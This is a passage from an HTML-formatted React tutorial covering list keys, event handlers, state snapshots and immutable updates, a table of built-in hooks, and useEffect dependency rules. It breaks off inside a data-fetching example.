&lt;p&gt;&lt;strong&gt;Trap:&lt;/strong&gt; &lt;code&gt;{count &amp;amp;&amp;amp; &amp;lt;Badge /&amp;gt;}&lt;/code&gt; renders a literal &lt;code&gt;0&lt;/code&gt; when &lt;code&gt;count&lt;/code&gt; is 0. Use &lt;code&gt;{count &amp;gt; 0 &amp;amp;&amp;amp; &amp;lt;Badge /&amp;gt;}&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Lists:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;todos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;todo&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;li&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;todo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;todo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;li&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key rules:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Must be &lt;strong&gt;unique among siblings&lt;/strong&gt; and &lt;strong&gt;stable&lt;/strong&gt; (same item, same key, always).&lt;/li&gt;
&lt;li&gt;Use a real ID from your data. Avoid &lt;code&gt;Math.random()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Array index is only safe for lists that never reorder, filter, or insert.&lt;/li&gt;
&lt;li&gt;Key is not a prop. The child cannot read it.&lt;/li&gt;
&lt;li&gt;Bad keys cause wrong state to stick to wrong items, not just slow renders.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7. Events
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Demo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;   &lt;span class="c1"&gt;// stop default browser behavior&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stopPropagation&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;  &lt;span class="c1"&gt;// stop bubbling&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleClick&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Pass the function&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Pass an arrow to send arguments&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Pass the function, do not call it. &lt;code&gt;onClick={fn}&lt;/code&gt; is right. &lt;code&gt;onClick={fn()}&lt;/code&gt; runs during render.&lt;/li&gt;
&lt;li&gt;Event names are camelCase: &lt;code&gt;onChange&lt;/code&gt;, &lt;code&gt;onSubmit&lt;/code&gt;, &lt;code&gt;onKeyDown&lt;/code&gt;, &lt;code&gt;onMouseEnter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;React's &lt;code&gt;onChange&lt;/code&gt; fires on &lt;strong&gt;every keystroke&lt;/strong&gt;, unlike the DOM &lt;code&gt;change&lt;/code&gt; event.&lt;/li&gt;
&lt;li&gt;Events bubble. Use the &lt;code&gt;Capture&lt;/code&gt; suffix (&lt;code&gt;onClickCapture&lt;/code&gt;) for the capture phase.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  8. State
&lt;/h2&gt;

&lt;p&gt;State is memory that triggers a re-render when it changes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Count: &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  State is a snapshot
&lt;/h3&gt;

&lt;p&gt;Inside one render, &lt;code&gt;count&lt;/code&gt; never changes. &lt;code&gt;setCount&lt;/code&gt; schedules the next render.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// result: +1 (all three used the same old count)&lt;/span&gt;

&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// result: +3 (updater function gets the latest)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rule:&lt;/strong&gt; if the new value depends on the old one, use the updater form.&lt;/p&gt;

&lt;h3&gt;
  
  
  More state facts
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Updates are &lt;strong&gt;batched&lt;/strong&gt; automatically (events, timeouts, promises, everywhere since React 18).&lt;/li&gt;
&lt;li&gt;Lazy initial value runs only once: &lt;code&gt;useState(() =&amp;gt; readFromStorage())&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Setting the same value (compared with &lt;code&gt;Object.is&lt;/code&gt;) skips the re-render.&lt;/li&gt;
&lt;li&gt;State is &lt;strong&gt;per component instance&lt;/strong&gt;. Two &lt;code&gt;&amp;lt;Counter /&amp;gt;&lt;/code&gt; have separate counts.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Never mutate. Always replace.
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task&lt;/th&gt;
&lt;th&gt;Avoid (mutates)&lt;/th&gt;
&lt;th&gt;Use (returns new)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Add to array&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;push&lt;/code&gt;, &lt;code&gt;unshift&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[...arr, item]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remove&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;splice&lt;/code&gt;, &lt;code&gt;pop&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;arr.filter(x =&amp;gt; x.id !== id)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Replace&lt;/td&gt;
&lt;td&gt;&lt;code&gt;arr[i] = x&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;arr.map(x =&amp;gt; x.id === id ? { ...x, done: true } : x)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sort / reverse&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;sort()&lt;/code&gt;, &lt;code&gt;reverse()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;arr.toSorted()&lt;/code&gt;, &lt;code&gt;arr.toReversed()&lt;/code&gt; or &lt;code&gt;[...arr].sort()&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Update object&lt;/td&gt;
&lt;td&gt;&lt;code&gt;obj.a = 1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ ...obj, a: 1 }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nested object&lt;/td&gt;
&lt;td&gt;&lt;code&gt;user.address.city = 'X'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ ...user, address: { ...user.address, city: 'X' } }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For deep nesting, use &lt;a href="https://immerjs.github.io/immer/" rel="noopener noreferrer"&gt;Immer&lt;/a&gt; (&lt;code&gt;useImmer&lt;/code&gt;) or flatten your state.&lt;/p&gt;

&lt;h3&gt;
  
  
  Choosing state structure (from react.dev)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Group&lt;/strong&gt; values that change together into one object.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Avoid contradictions&lt;/strong&gt; (&lt;code&gt;isLoading&lt;/code&gt; + &lt;code&gt;isError&lt;/code&gt; + &lt;code&gt;isSuccess&lt;/code&gt; becomes one &lt;code&gt;status&lt;/code&gt; string).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Avoid redundant state.&lt;/strong&gt; If you can calculate it from other state or props, calculate it during render.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Avoid duplication.&lt;/strong&gt; Store an &lt;code&gt;id&lt;/code&gt;, not a copy of the whole object.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Avoid deep nesting.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// derive, do not sync&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setItems&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;([]);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;sum&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;price&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// no useState, no useEffect&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lifting state up
&lt;/h3&gt;

&lt;p&gt;Two components need the same data? Move the state to their closest common parent and pass it down with props.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reset state with &lt;code&gt;key&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Profile&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;  &lt;span class="c1"&gt;// new userId means fresh state&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. All built-in hooks at a glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hook&lt;/th&gt;
&lt;th&gt;One-line purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Local state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useReducer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Local state with complex update logic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Read context (skip prop drilling)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useRef&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Mutable box that does not trigger renders, or a DOM handle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useImperativeHandle&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Customize what a parent gets through a ref&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useEffect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sync with an external system after paint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useLayoutEffect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Same, but runs before paint (measure layout)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useInsertionEffect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;For CSS-in-JS library authors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useEffectEvent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Non-reactive logic inside an effect (19.2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useMemo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cache a calculated value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useCallback&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cache a function&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useTransition&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Mark a state update as non-urgent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useDeferredValue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lag a value behind for smooth UI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useId&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stable unique ID for accessibility attributes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useSyncExternalStore&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Subscribe to a non-React store safely&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useDebugValue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Label for custom hooks in DevTools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useActionState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;State plus pending flag for form actions (19)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useOptimistic&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Show the expected result before the server answers (19)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useFormStatus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Read parent form's pending status (from &lt;code&gt;react-dom&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;use&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Read a promise or context during render (19, an API, not a classic hook)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Rules of Hooks:&lt;/strong&gt; top level only, only in components or custom hooks, same order every render. Install &lt;code&gt;eslint-plugin-react-hooks&lt;/code&gt; and let it yell at you.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. useEffect
&lt;/h2&gt;

&lt;p&gt;Effects are for &lt;strong&gt;synchronizing with things outside React&lt;/strong&gt;: network, timers, browser APIs, third-party widgets.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// setup: runs after render&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tick&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// cleanup: runs before the next effect and on unmount&lt;/span&gt;
    &lt;span class="nf"&gt;clearInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;dependencies&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dependency array&lt;/th&gt;
&lt;th&gt;Runs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;After every render&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;After first render only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[a, b]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;After first render and whenever &lt;code&gt;a&lt;/code&gt; or &lt;code&gt;b&lt;/code&gt; changed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Dependencies are not a choice.&lt;/strong&gt; Every reactive value used inside (props, state, variables from the component) must be listed. The linter enforces this.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fetching data (the safe pattern)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AbortController&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/api/users/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signal&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
